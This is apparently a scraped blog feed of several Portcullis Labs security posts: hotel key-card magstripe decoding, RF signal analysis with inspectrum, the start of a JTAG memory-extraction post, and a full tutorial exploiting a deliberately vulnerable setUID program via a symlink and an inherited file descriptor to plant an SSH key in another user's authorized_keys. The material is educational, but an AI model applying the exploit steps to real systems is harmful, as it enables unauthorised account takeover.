I since invested in an MSR605X reader/writer. I haven’t played with it much yet, but it is able to do raw reads. I’ll probably cover this reader in a future post.

Plan for the cheap reader

I figured that the magnetic read head in the cheap reader would almost certainly be able to read the data from from hotel cards or any other card with a magstripe. But the rest of the reader was only able to interpret payment card data. If I could probe the electrical signals in the right place within the reader, I should be able to see the 1′s and 0′s on the magstripe.

Magnetic read head inside card reader
image-6483

Magnetic read head inside card reader

I was a vague plan and certainly not the path of least resistance, but would ultimately work…

Probing around

I had two tools at my disposal to probe with (this was a home-based side project as opposed to an office-based project):

  • A cheap handheld Oscilloscope (Sainsmart DS202)
  • A Saleae logic analyzer

I quickly realized there were 7 points on the read head I could attach probes to.

Connection points on back of read head
image-6484

Connection points on back of read head

I figured if hooked the read head directly up to my scope, I’d be able to see an analogue signal when I swiped a card. Ultimately I hoped to do something with said signal to get the data I wanted.

Connections for scope soldered directly to read head
image-6485

Connections for scope soldered directly to read head

I tried hooking up various pairs from these 7 probe points to my scope, but didn’t find any signal at all. Maybe the signal’s too weak, or maybe (in retrospect) I did a rubbish job of identifying a suitable ground.

By this point I’d started googling the chip numbers. There were 2 x Op Amps and 1 x Analogue Comparator:

2 x Op Amps
image-6486

2 x Op Amps

Analogue Comparator (left); STM32 Microcontroller (right)
image-6487

Analogue Comparator (left); STM32 Microcontroller (right)

These chips were responsible for amplifying the signal from the read head. So if hooked up to the output of each, I might see a signal I could use to determine the data on the magstripes. I use the datasheets to identify the output pins of each IC.

The output from the 2 x Op Amps was about 0.5 – 0.6v peak-to-peak. Easily viewable using my scope, but I’d be unable to feed this into my logic analyser. I’d need about 3v peak-to-peak for that. The signal was also quite scruffy looking. Not the nice square wave I’d hoped for.

The output from the analogue comparator was exactly what I was after. A nice 3 or 4v peak-to-peak square wave that appeared only when I swiped a card. There were 4 outputs from the comparator. One never produced a signal. This seemed reasonable for a read head that could read 3-track magstripes. Time to feed this into the logic analyser and start figuring what constituted a 0 or 1…

1′s and 0′s

Progress had been quite fast up to this point. This was shaping up to be an interesting project.

Here’s the output from the comparator viewed in the Saleae Logic software:

Comparator output viewed via logic analyser
image-6488

Comparator output viewed via logic analyser

Note that we’re only seeing 1 square wave, not 3. This is because this particular card only has data on 1 of the 3 tracks.

So we have a signal to analyse, but we don’t have 1′s and 0′s yet.

Phrack37 from 1992 helps us with that:

ASCII art explanation of how 1' class=
image-6489

ASCII art explanation of how 1′s and 0′s are encoded on a magstripe

Essentially a 0 and 1 are both the same length when encoded. A 1 changed state half way through and a 0 doesn’t. Note that the 0 can be either high or low.

Rather than decode the 1′s and 0′s by eye, I wrote a Python script that parsed the exported data from the logic analyzer and dumped the 1′s and o’s. Here’s the format used by “Logic” (the Saleae software) when exporting to CSV:

Format used in CSV export from Saleae' class=
image-6490

Format used in CSV export from Saleae’s Logic software

The Python code turned out to be a pain to write because the baud rate of the data wasn’t constant. It varies depending on how fast the card is moving past the read head. I took a few wrong turns when coding this up, but eventually found a solution that worked.

Here’s a scatter graph that shows that the duration of square wave pulse doesn’t have exactly 2 values as expected. Instead a wide range of values are seen. It’s still possible to tell 0′s (long pulses, green dots) from 1′s (short pulses, blue/purple dots) – see top graph. The ratio of each successive pulse to the last was a better way to tell o’s from 1′s – see bottom graph:

Graph showing how much pulse duration (delta) takes a range of values, not just two as expected
image-6491

Graph showing how much pulse duration (delta) takes a range of values, not just two as expected

And finally, the bytes / characters

This is where my problems started. My whole life, bits have made bytes. Specifically they’ve made 8-bit bytes. This is not the case on magstripes, it turned out.

As mentioned in the phrack paper, credit cards use 2 tracks, one where characters are composed of 5 bits (4 bits + 1 parity) and another where characters are composed of 7 bits (6 bits + 1 parity).

I spent quite a bit of time coding up a decoder for credit cards. Partly because I needed to be assured that I’d read the 1′s and o’s correctly and partly because I thought I’d need the code to see if the same character types were used in hotel cards.

One of the challenges in coding this up was knowing where the data started and the preamble ended. It seems that “sentinels” are used to mark the start/end of the data. These are special characters (bit patterns) that readers can look for at the start and end of a stripe… then it made sense. This is why the card reader only worked for credit cards! The firmware is looking for the sentinels used by credit cards. It can’t decode the hotel cards because it’s not obvious where the data starts or ends; or what constitutes a character. Also, perhaps lack a valid Longitudinal Redundancy Check (LRC).

Identifying characters on hotel magstripes

I ran my credit-card code over the hotel mag stripes to see if there was odd parity with all the 5 bit chunks or all the 7 bit chunks. No, unfortunately not. Another reason the cheap magstripe reader probably failed.

Then I ran some frequency analysis on the 1′s and 0′s. Maybe a lot of the 5-bit chunks are all the same value? Or the 7-bit chunks? I’d see something similar on the credit card magstripe. There were 20 spaces on the 7-bit magstripe. So, using frequency analysis, I should have been able to guess 7-bit characters were being used.

By splitting some of the hotels magstripe data into 8-bit chunks, we notice that the same string of 1′s and 0′s occurs many more times than you’d expect. So my best guess is that 8-bit characters are used.

Below is some example output from my Python script. Not that it outputs:

  • Raw bits
  • Strings (with hex dumps) that would be right if 5-bit, 6-bit, 7-bit or 8-bit characters were used. Though “correctness” depends on parity, bit order and what character set the bit values map to. Plenty of room for error and improvement here
  • Checks for odd/even parity within characters
  • Frequency analysis looking for common characters – for varying character lengths
[+] Parsing file export.csv
 [-] Flips in channel 0: 3
 [-] Flips in channel 1: 1652
 [-] Flips in channel 2: 3
[+] Analysing swipes
 [-] Channel 0:
 [-] Channel 1:
 [-] Swipe 0: 693 bits
 [-] Swipe 1: 701 bits
 [-] Channel 2:
[+] Creating Plots
 [-] creating plots with dimensions (1637, 1637), (1637, 1637)
 [-] saving plot to file: export.csv-plot-channel-1.png
----------------------- CHANNEL 1 SWIPE 0 -----------------------
[+] Length (bits) = 266 (%5 = 1, %6 = 2, %7 = 0, % 8= 2)
[+] Data: 10100110001001100010011000100110001001100010011000100110001001100010011000100110001001100101011011100110101001001101100110100110001001100111110110111100111101100010000000100110011001101100001010010101001001001110110100000111001101011101100001100101101000101010011001
[+] Strings:
 [-] 5 bit: 5398621<4398621<43:>62<3539<;><=409<615549=1>6>36=1:6
 [-] length: 53
 [-] hex: 
 35 33 39 38 36 32 31 3c 34 33 39 38 36 32 31 3c 5398621<4398621<
 34 33 3a 3e 36 32 3c 33 35 33 39 3c 3b 3e 3c 3d 43:>62<3539<;><=
 34 30 39 3c 36 31 35 35 34 39 3d 31 3e 36 3e 33 409<615549=1>6>3
 36 3d 31 3a 36 6=1:6
[-] 6 bit: E(1C&amp;,9RD(1CFM92;+1S;G;"D,-**DMPLW8M4,
 [-] length: 38
 [-] hex: 
 45 28 31 43 26 2c 39 52 44 28 31 43 46 4d 39 32 E(1C&amp;,9RD(1CFM92
 3b 2b 31 53 3b 47 3b 22 44 2c 2d 2a 2a 44 4d 50 ;+1S;G;"D,-**DMP
 4c 57 38 4d 34 2c LW8M4,
[-] 7 bit: %..#...2$..#&amp;-.....3.'..$....$-0,7.-.
 [-] length: 37
 [-] hex: 
 25 08 11 23 06 0c 19 32 24 08 11 23 26 2d 19 12 %..#...2$..#&amp;-..
 1b 0b 11 33 1b 27 1b 02 24 0c 0d 0a 0a 24 2d 30 ...3.'..$....$-0
 2c 37 18 2d 14 ,7.-.
[-] 8 bit: .&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;V....&amp;}.. &amp;f..$..5.e..@
 [-] length: 34
 [-] hex: 
 a6 26 26 26 26 26 26 26 26 26 26 56 e6 a4 d9 a6 .&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;V....
 26 7d bc f6 20 26 66 c2 95 24 ed 07 35 d8 65 a2 &amp;}.. &amp;f..$..5.e.
 a6 40 .@
[+] Parity for 5 bit chars: odd: False, even: False)
[+] Parity for 6 bit chars: odd: False, even: False)
[+] Parity for 7 bit chars: odd: False, even: False)
[+] Parity for 8 bit chars: odd: False, even: False)
[+] Frequency analysis for potential char lengths:
 [-] 5 bits:
 10011: 5
 11000: 4
 01100: 4
 00110: 4
 00100: 4
 [-] 6 bits:
 100110: 5
 100010: 5
 011000: 5
 011001: 4
 001001: 4
 [-] 7 bits:
 1000100: 3
 0010011: 3
 1101100: 2
 1100010: 2
 1011010: 2
 [-] 8 bits:
 00100110: 12 < common 8-bit patter implies 8-bit chars?
 10100110: 3
...snip...

The above data is from an actual hotel card (though the hotel as since switched to using RFID locks).

I also started to look at XORing, rotating of characters (rot13 style), bit order and offsetting the whole stream of bits (in case I started at the wrong place when chunk the character up). All to no avail as yet.

That’s as far as I got. I’ll be sure to post again if I ever decode any of the data on the card. I was hoping to see my room number and checkout date in cleartext. But equally an opaque encrypted string wouldn’t surprise me either – which could be what I’m seeing on at least some of the cards.

Conclusion

Doing things the cheap and time-consuming way can be fun – and a good opportunity to write code, learn about matplotlib and dust off the logic analyser.

Further reading/viewing

If you want to know more about magstripes (before they become completely obsolete), take a look at:

I was pretty inspired by these projects.

The post Reading hotel key cards with a credit card magstripe reader appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/reading-hotel-key-cards-with-a-credit-card-magstripe-reader/feed/ 0
Exploiting inherited file handles in setUID programs https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/ https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/#comments Thu, 28 Jun 2018 16:00:40 +0000 https://labs.portcullis.co.uk/?p=6538 In this post we look at at one of many security problems that pentesters and security auditors find in setUID programs. It’s fairly common for child processes to inherit any open file handles in the parent process (though there are ways to avoid this). In certain cases this can present a security flaw. This is […]

The post Exploiting inherited file handles in setUID programs appeared first on Portcullis Labs.

]]>
In this post we look at at one of many security problems that pentesters and security auditors find in setUID programs. It’s fairly common for child processes to inherit any open file handles in the parent process (though there are ways to avoid this). In certain cases this can present a security flaw. This is what we’ll look at in the context of setUID programs on Linux.

I was reminded of this technique as I tackled an old hacker challenge recently. This a fun challenge. And there’s a much easier solution than using the technique I’m going to cover here. Maybe try both the hard way and the easy way.

Example program

Here’s a fairly minimal test case of example code – inspired by the nebula challenge code.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>

int main(int argc, char **argv)
{
 char *cmd = argv[1];
 char tmpfilepath[] = "/tmp/tmpfile";  // Modern systems need "sysctl fs.protected_symlinks=0" or "chmod 0777 /tmp" for this to be vulnerable to the symlink attack we'll use later.
 char data[] = "pointless data\n";

int fd = open(tmpfilepath, O_CREAT|O_RDWR, 0600);
 unlink(tmpfilepath);
 write(fd, data, strlen(data));
 setuid(getuid());
 system(cmd);
}

Let’s start by compiling this and setting the setUID bit so we have an example to work with:

root@challenge:/# useradd -m tom # victim/target user
root@challenge:/# useradd -m bob # attacker
root@challenge:/# cd ~bob
root@challenge:/home/bob# cp /share/fd-leak.c .
root@challenge:/home/bob# gcc -o fd-leak fd-leak.c
root@challenge:/home/bob# chown tom:tom fd-leak
root@challenge:/home/bob# chmod 4755 fd-leak
root@challenge:/home/bob# ls -l fd-leak
-rwsr-xr-x 1 root root 8624 Apr 12 11:06 fd-leak
root@challenge:/home/bob# su - bob
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)

For exploitation later, we’ll also need the target user (tom in this case) to have a .ssh directory in their home directory:

root@challenge:/# mkdir ~tom/.ssh; chown tom:tom ~tom/.ssh

What this program lacks in realism is hopefully made up for in its simplicity.

Normal operation

As can be seen from the code above, the program should:

  1. Create the file /tmp/tmpfile, then delete it. A file descriptor is retained
  2. Drop privileges. This is poor code for dropping privileges, btw. It suffices for this example, though
  3. Run a command that is supplied as an argument. It should run as the invoking user, not as the target user (tom)

Let’s try it out (note that I modify .bashrc to make it clearer to the reader when a subshell has been spawned):

root@challenge:/home/bob# su - bob
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ echo 'echo subshell...' > .bashrc
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ ./fd-leak bash -p
subshell...
bob@challenge:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
root@challenge:/home/bob# useradd -m tom
root@challenge:/home/bob# su - tom
$ mkdir .ssh
$ ls -la
total 28
drwxr-xr-x 3 tom tom 4096 Apr 12 11:42 .
drwxr-xr-x 2 tom tom 4096 Apr 12 11:42 .ssh
...

So, yes fd-leak appears to drop privileges. (Our spawned shell isn’t responsible for the drop in privileges as I’ve hopefully illustrated by passing -p to bash above and by running id directly).

Finally, we expect the child process to inherit a file handle to the now deleted file /tmp/tmpfile:

bob@challenge:~$ ls -l /proc/self/fd
total 0
lrwx------ 1 bob bob 64 Apr 12 11:22 0 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 1 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 2 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 3 -> '/tmp/tmpfile (deleted)'
lr-x------ 1 bob bob 64 Apr 12 11:22 4 -> /proc/53982/fd

It does. We’re all set.

High level exploit path

Our approach to attacking this vulnerable program will follow these high level steps which are covered in more detail in the sections below:

  1. Create a symlink that the vulnerable code will try to write to. This way we can create a file in a location of our choosing and with a name we choose. We’ll choose ~tom/.ssh/authorized_keys
  2. We’ll run some code in the context of a child process to manipulate the open file handle so we can write the contents of authorized_keys file
  3. Finally, we log with via SSH

Practical exploitation

Step 1: Symlink attack

Simple:

ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile

This step was harder in the nebula challenge, but I didn’t want to cloud the issue.

If we run the code now, we see that the authorized_keys file is created, but we don’t control the contents.

bob@challenge:~$ ls -l ~tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:12 /home/tom/.ssh/authorized_keys
bob@challenge:~$ ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile
ln: failed to create symbolic link '/tmp/tmpfile': File exists
bob@challenge:~$ ls -l /tmp/tmpfile
lrwxrwxrwx 1 bob bob 30 Apr 12 12:11 /tmp/tmpfile -> /home/tom/.ssh/authorized_keys
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ ls -l ~tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:12 /home/tom/.ssh/authorized_keys

We also don’t control the permissions the file gets created with. (Feel free to try the above on authorized_keys2 after running “umask 0″ to check).

Step 2: Running code in child process

It’s pretty easy to run code because of the nature of the program. Again, this was harder in the nebula challenge. We can see the file handle we want listed in /proc/self/fd. It’s file descriptor 3:

bob@challenge:~$ ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile

bob@challenge:~$ ls -l /tmp/tmpfile
lrwxrwxrwx 1 bob bob 30 Apr 12 12:25 /tmp/tmpfile -> /home/tom/.ssh/authorized_keys
bob@challenge:~$ ./fd-leak bash
subshell...
bob@challenge:~$ ls -l /proc/self/fd
total 0
lrwx------ 1 bob bob 64 Apr 12 12:26 0 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 1 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 2 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 3 -> /home/tom/.ssh/authorized_keys
lr-x------ 1 bob bob 64 Apr 12 12:26 4 -> /proc/54947/fd

So we can just “echo key > /proc/self/fd/3″? Not really. That’s just a symlink. A symlink to a file that doesn’t exist to be precise. And it’s pointing to a location that we’d don’t have privileges to create. Let’s confirm that:

bob@challenge:~$ ls -l /home/tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:25 /home/tom/.ssh/authorized_keys
bob@challenge:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ echo > /home/tom/.ssh/authorized_keys
bash: /home/tom/.ssh/authorized_keys: Permission denied
bob@challenge:~$ echo > /tmp/tmpfile
bash: /tmp/tmpfile: Permission denied
bob@challenge:~$ echo > /proc/self/fd/3
bash: /proc/self/fd/3: Permission denied

We need to write to file descriptor 3… So is there are version of cat that works with file descriptors? Not that I know of. Let’s write some small utilities that will help us get to grips with accessing inherited file handles. We’ll write 3 tools:

  • read – that uses the read function to read a set number of bytes from a particular file descriptor
  • write – that writes a string of our choosing to a particular file descriptor
  • lseek – that lets us position our read/write

Here’s the source and compilation of the (very crude) demo tools:

bob@challenge:~$ cat read.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 char buf[1024];
 memset(buf, 0, 1024);
 int r = read(atoi(argv[1]), buf, 10);
 printf("Read %d bytes\n", r);
 write(1, buf, 10);
}

bob@challenge:~$ gcc -o read read.c
bob@challenge:~$ cat write.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 printf("writing %s to fd %s\n", argv[2], argv[1]);
 write(atoi(argv[1]), argv[2], strlen(argv[2]));
}
bob@challenge:~$ gcc -o write write.c
bob@challenge:~$ cat lseek.c
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 printf("seek to position %s on fd %s\n", argv[2], argv[1]);
 lseek(atoi(argv[1]), atoi(argv[2]), SEEK_SET);
}

bob@challenge:~$ gcc -o lseek lseek.c

Let’s see the tools in action. First we try to read, then write to file descriptor 3, but the read always returns 0 bytes:

bob@challenge:~$ ./read 3
Read 0 bytes
bob@challenge:~$ ./write 3 hello
writing hello to fd 3
bob@challenge:~$ ./read 3
Read 0 bytes

The reason is that we need to seek to a location in the file that isn’t the end of the file. Let’s seek to position 0, the beginning of the file:

bob@challenge:~$ ./lseek 3 0
seek to position 0 on fd 3
bob@challenge:~$ ./read 3
Read 10 bytes
pointless bob@challenge:~$ ./read 3
Read 10 bytes
data
hellobob@challenge:~$ ./read 3
Read 0 bytes

Much better.

Finally we need exploit the program above. We have two choices:

  • Run a shell as before, then use our new tool to write the key to authorized_keys; or
  • Make a new tool using the functions shown above to write to authorized_keys.

Let’s do the former. The latter is an exercise for the reader. Note that we need to seek to position 0 before we write our data. It’s important to overwrite the “pointless” message already there as that corrupts the authorized_keys file:

bob@challenge:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/bob/.ssh/id_rsa): bobkey
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in bobkey.
Your public key has been saved in bobkey.pub.
bob@challenge:~$ cat bobkey.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge
bob@challenge:~$ ls -l bobkey.pub
-rw-r--r-- 1 bob bob 387 Apr 12 12:30 bobkey.pub
bob@challenge:~$ ./lseek 3 0
seek to position 0 on fd 3
bob@challenge:~$ ./write 3 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge'
 writing ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge to fd 3

Step 3: Logging in via SSH

bob@challenge:~$ ssh -i bobkey tom@localhost
$ id
uid=1002(tom) gid=1002(tom) groups=1002(tom)

We’re done. We exploited the leaked file descriptor to write data of our choosing to tom’s authorized_keys file. We used a slightly unrealistic symlink attack along the way, but that doesn’t invalidate our discussion of how to use and abuse leaked file descriptors.

Conclusion

Hacker challenges are fun. Even when you accidentally find a much harder solution and waste 10 times longer than necessary.

Writing secure setUID programs can be difficult. Particularly if you spawn child processes; particularly if you use open() in directories writable by other users. fs.protected_symlinks provides some mitigation for directories with the sticky bit set.

The post Exploiting inherited file handles in setUID programs appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/feed/ 0
Adventures in RF: Using Inspectrum to analyse FSK and ASK/OOK signals https://labs.portcullis.co.uk/blog/adventures-in-rf-using-inspectrum-to-analyse-fsk-and-askook-signals/ https://labs.portcullis.co.uk/blog/adventures-in-rf-using-inspectrum-to-analyse-fsk-and-askook-signals/#comments Fri, 06 Apr 2018 12:42:48 +0000 https://labs.portcullis.co.uk/?p=6292 In this post we’ll take a brief look at inspectrum, a graphical tool for analysing signals captured via software defined radio (SDR) receivers – like the RTL-SDR or HackRF One. We’ll run through two examples of viewing digital signals. The first uses frequency shift keying (FSK). The second uses amplitude shift keying on-off keying (ASK/OOK). These […]

The post Adventures in RF: Using Inspectrum to analyse FSK and ASK/OOK signals appeared first on Portcullis Labs.

]]>
In this post we’ll take a brief look at inspectrum, a graphical tool for analysing signals captured via software defined radio (SDR) receivers – like the RTL-SDR or HackRF One.

We’ll run through two examples of viewing digital signals. The first uses frequency shift keying (FSK). The second uses amplitude shift keying on-off keying (ASK/OOK). These are two very common types of modulation.

I’d previously used baudline for this task, which people might want to check out. But I switched to inspectrum recently. I prefer it because its simplicity and ease of use. Also, inspecrum is actively maintained, whereas baudline doesn’t seem to be.

Installation

If you’re on a recent Debian-based OS, you can probably:

apt-get install inspectrum

Alternatively, installing the github version isn’t a bad option – especially if you find your lacking a couple of features. The instructions are pretty good. If you find that libliquid isn’t available for your OS, you can build it pretty easily.

Example 1: FSK signal

The signal for this demo is one captured from a car keyfob at 2 million samples per second. If you want to play along, plug in your RTL-SDR, HackRF One and capture a signal (e.g. using gqrx or hackrf_transfer).

By default inspectrum assumes 32-bit complex floating point samples, which what gqrx gives us. If you used hackrf_transfer, you’ll have signed 8-bit integers, so use the file extension .cs8 – inspectrum can read that format too.

If you load your sample in inspectrum and set the sample rate, you’ll see something like this:

Signal viewed in Inspectrum
image-6293

Signal viewed in Inspectrum

We see 7 bursts of signal across 3 different frequencies.

Note that setting the sample rate isn’t vital. If you don’t, it just means the scale on the time axis will be wrong – not something you’ll always care about.

Next we’ll use the zoom slider to take a closer look at part of the signal. Hopefully we can see the 1′s and 0′s.

Zoom slider usage
image-6294

Zoom slider usage

Hmm. We’re hoping to see something that looks a bit like a square wave, showing the 1′s and 0′s. Which we clearly can’t see yet. Let’s tweak a few more controls.

Increase the ‘Power min’ slider until the background noise becomes pure black:

Decreasing Power Min slider to remove noise
image-6295

Decreasing Power Min slider to remove noise

Decrease the ‘Power max’ slider until the strongest part of the signal is shown in red.

Increasing Power max slider to turn signal red
image-6296

Increasing Power max slider to turn signal red

This is useful because we’ve ignored the noise and shown the signal of interest in red. But it’s still not the square wave we wanted to see.

The reason for this is that our FFT is showing us really good resolution in the frequncy domain (vertical axis), but really poor (fuzzy) resolution in the time domain (horizontal axis). When working with FFT plots is important to remember that you always sacrifice fidelity in one domain to improve the other. We’ll move the FFT slider to the left. This will squish our plot along the frequency axis, but stretch it along the time axis.

Using FFT slider to improve resolution in time domain
image-6297

Using FFT slider to improve resolution in time domain

That’s better. We can see the square wave we’d expect for an FSK signal now. It’s still a bit fuzzy, but this looks good enough to read 1′s and 0′s off. We can tweak the power settings to make things clearer:

Tweak power settings to improve clarity
image-6298

Tweak power settings to improve clarity

If we tick Enable cursors we can measure the duration of pulses.

Using cursors
image-6299

Using cursors

If we scroll around a bit, some of signal looks weak.

Identifying weak parts of signal
image-6300

Identifying weak parts of signal

Maybe we could still infer the square wave form, but lets see what we can do by tweaking the Power sliders again:

Tweaking power sliders
image-6301

Tweaking power sliders

Better, but still not a good representation. How about decreasing the FFT slider again?  This will give us better accuracy in the time domain. But will squish the 1 and 0 lines closer together.

Decreasing FFT slider
image-6302

Decreasing FFT slider

That’s pretty good. We can still tell the difference between a 1 and 0 and we’ve got a really good representation of where each 1 and 0 starts in the time domain.

Let’s briefly revisit our use of cursors:

Measuring a single pulse
image-6303

Measuring a single pulse

It’s hard to be accurate with just a single pulse (15.15Khz?), but we can easily span more than 1 pulse.

Measuring multiple pulses
image-6304

Measuring multiple pulses

More like 15.58KHz.

If you suspect you’ve got a Manchester Encoded signal (as we seem to have here), you can expand the slider so that each segment covers two pulses.

Cursors used for Manchester Encoding
image-6305

Cursors used for Manchester Encoding

As required for Manchester Encoding, each segment includes either a high-to-low transition or a low-to-high transition, but never high-to-high or low-to-low.

That concludes a walkthrough of using inspectrum to look at FSK modulated signals. We’ve seen how to confirm we have an FSK signal by looking for square wave in the FFT plot – i.e. a signal that hops between two (or more) distinct frequencies. We showed how to tweak the sliders to get a nice clear view of the signal, trading off resolution in the frequency domain for resolution in the time domain. We used cursors to show we can take measurements of the baudrate of the signal.

Example 2: ASK/OOK signal

For this example we use an RF remote for a mains remote.

Having covered how to use inspectrum in the FSK section above, we’ll go into less detail in this section.

Upon loading the capture file we’re presented with what looks like 8 repeating signals. We’ll drill into one of those and try to see the 1′s and 0′s:

8 repeating signals?
image-6306

8 repeating signals?

Adjusting the Power slides as before we can filter out the background noise and more easily see our signal of interest:

Filtering out background noise
image-6307

Filtering out background noise

Using the zoom feature, we can start to see the 1′s and 0′s pretty quickly.

Locating 1' class=
image-6308

Locating 1′s and 0′s with zoom slider

In this case, though, unlike for FSK we’re not expecting to see a square wave, we’re expecting to see a single line with gaps in. Which is what we can already see. Furthermore we can start to figure out the 1′s and the o’s. Note that the signal above is composed of only the 2 patterns:

  • Short line followed be long gap; or
  • Long line followed by short gap

One is our 1 and the other is our 0. At this stage it doesn’t really matter which. Only that we’d be able to describe any signal using 1′s and 0′s the way we define them.

This is easier to see if we use the cursor feature:

Using cursors to highlight 1' class=
image-6309

Using cursors to highlight 1′s and 0′s

If you’ve read the FSK section above, you may have been tempted (as I was) to slide the FFT slider to the left to improve the resolution in the time domain. If you do this, you’re able to see that the long line is composed for 4 short lines – of slightly different lengths!  This makes it really hard to spot the pattern being used for a 1 or 0 (unless you already know it). It doesn’t matter to us how the long or short line are generated. The fact that they aren’t continuous lines doesn’t matter and just causes confusion.  So, in this case we’ve shown that when investigating ASK/OOK signals, it’s best to start with the FFT slider on the right (limited resolution in the time domain) and only move if to the left if we’re unable to spot the pattern used for 1′s and 0′s.

Confusing patterns found by sliding FFT slider too far
image-6310

Confusing patterns found by sliding FFT slider too far

The post Adventures in RF: Using Inspectrum to analyse FSK and ASK/OOK signals appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/adventures-in-rf-using-inspectrum-to-analyse-fsk-and-askook-signals/feed/ 0
JTAG on-chip debugging: Extracting passwords from memory https://labs.portcullis.co.uk/blog/jtag-on-chip-debugging-extracting-passwords-from-memory/ https://labs.portcullis.co.uk/blog/jtag-on-chip-debugging-extracting-passwords-from-memory/#comments Thu, 29 Mar 2018 08:30:55 +0000 https://labs.portcullis.co.uk/?p=6160 Following on from my colleague’s post on using UART to root a phone, I look at another of our challenges, whereby sensitive information such as passwords can be extracted from a device’s memory if physical access to the device is acquired. The goal and target The target device is the BroadLink RM Pro universal remote […]

The post JTAG on-chip debugging: Extracting passwords from memory appeared first on Portcullis Labs.

]]>
Following on from my colleague’s post on using UART to root a phone, I look at another of our challenges, whereby sensitive information such as passwords can be extracted from a device’s memory if physical access to the device is acquired.

The goal and target

BroadLink RM Pro Smart Remote Control
image-6161

BroadLink RM Pro Smart Remote Control

The target device is the BroadLink RM Pro universal remote control designed for home convenience and automation.

This smart remote control can be used to control multiple home appliances through its application. It also allows users to create scenarios whereby multiple actions can be programmed and activated simultaneously. Device setup and functionality is accessed through the BroadLink e-Control application. This application must be running on a device connected to the same Wi-Fi network as the smart remote and the appliance you want to control.

BroadLink e-Control application
image-6162

BroadLink e-Control application

For the purpose of this challenge, setting up the device is required. In a real scenario, the device would likely already be set up.

Start by connecting the smart remote to a Wi-Fi network and entering the Wi-Fi SSID and Passphrase within the e-Controls application. The application then subsequently tries to locate the device within the network and once it is found, a connection is established.

Now that the smart remote is functional, an attacker who has physical access to the device may attempt to extract configuration or sensitive information loaded in memory. Successfully replicating this attack scenario is the main goal of this challenge.

Taking a look inside

The first step is to investigate the internal components of the device, starting by carefully taking apart the unit. There are three easily removable housing screws situated on the underside of the device.

